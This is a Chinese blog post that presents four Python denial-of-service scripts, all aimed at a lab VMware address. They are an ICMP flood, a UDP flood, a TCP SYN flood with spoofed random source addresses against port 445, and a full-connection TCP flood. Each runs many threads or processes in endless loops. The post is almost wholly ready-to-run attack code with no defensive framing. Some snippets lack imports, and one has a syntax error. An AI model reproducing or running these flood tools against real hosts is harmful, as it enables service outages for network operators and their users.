python实现泛洪攻击

发布于:2024-08-20 ⋅ 阅读:(109) ⋅ 点赞:(0)

1 ICMP泛洪攻击

import threading

from scapy.layers.inet import ICMP, IP
from scapy.packet import Raw
from scapy.sendrecv import send

def aaa():
    pkg = IP(dst="192.168.159.130")/ICMP(type=8,code=0)/Raw(load="abcdefghijklmnopqrstuvwxyz"*10)
    while True:
        send(pkg,iface="VMware Virtual Ethernet Adapter for VMnet1")


if __name__ == '__main__':
    for i in range(100):
        threading.Thread(target=aaa).start()

2 UDP泛洪攻击

import random
from multiprocessing import Process
def aaa():
    while True:
        random_port = random.randint(1024, 65535)
        pkg = IP(dst="192.168.159.130") / UDP(sport=random_port, dport=500) / Raw(load="abcdefghijklmnopqrstuvwxyz" * 10)
        send(pkg,iface="VMware Virtual Ethernet Adapter for VMnet1")
if __name__ == '__main__':
    for i in range(50):
        Process(target=aaa).start()

3 TCP半连接泛洪

import random
from multiprocessing import Process
def aaa():
    while True:
        random_port = random.randint(1024, 65535)
        ip1 = random.randint(1, 254)
        ip2 = random.randint(1, 254)
        ip3 = random.randint(1, 254)
        ip4 = random.randint(1, 254)
        pkg = IP(src=f"{ip1}.{ip2}.{ip3}.{ip4}", dst="192.168.159.130") / TCP(sport=random_port, dport=445, flags="S") / Raw(load="abcdefghijklmnopqrstuvwxyz" * 10)
        send(pkg,iface="VMware Virtual Ethernet Adapter for VMnet1")
if __name__ == '__main__':
    for i in range(50):
        Process(target=aaa).start()

4 TCP全连接泛洪

import socket
from multiprocessing import Process
def bbb()
    while True:
        c = socket.socket()
        c.connect(('192.168.159.130', 445))
if __name__ == '__main__':
    for i in range(50):
        Process(target=bbb).start()

网站公告

今日签到

点亮在社区的每一天
去签到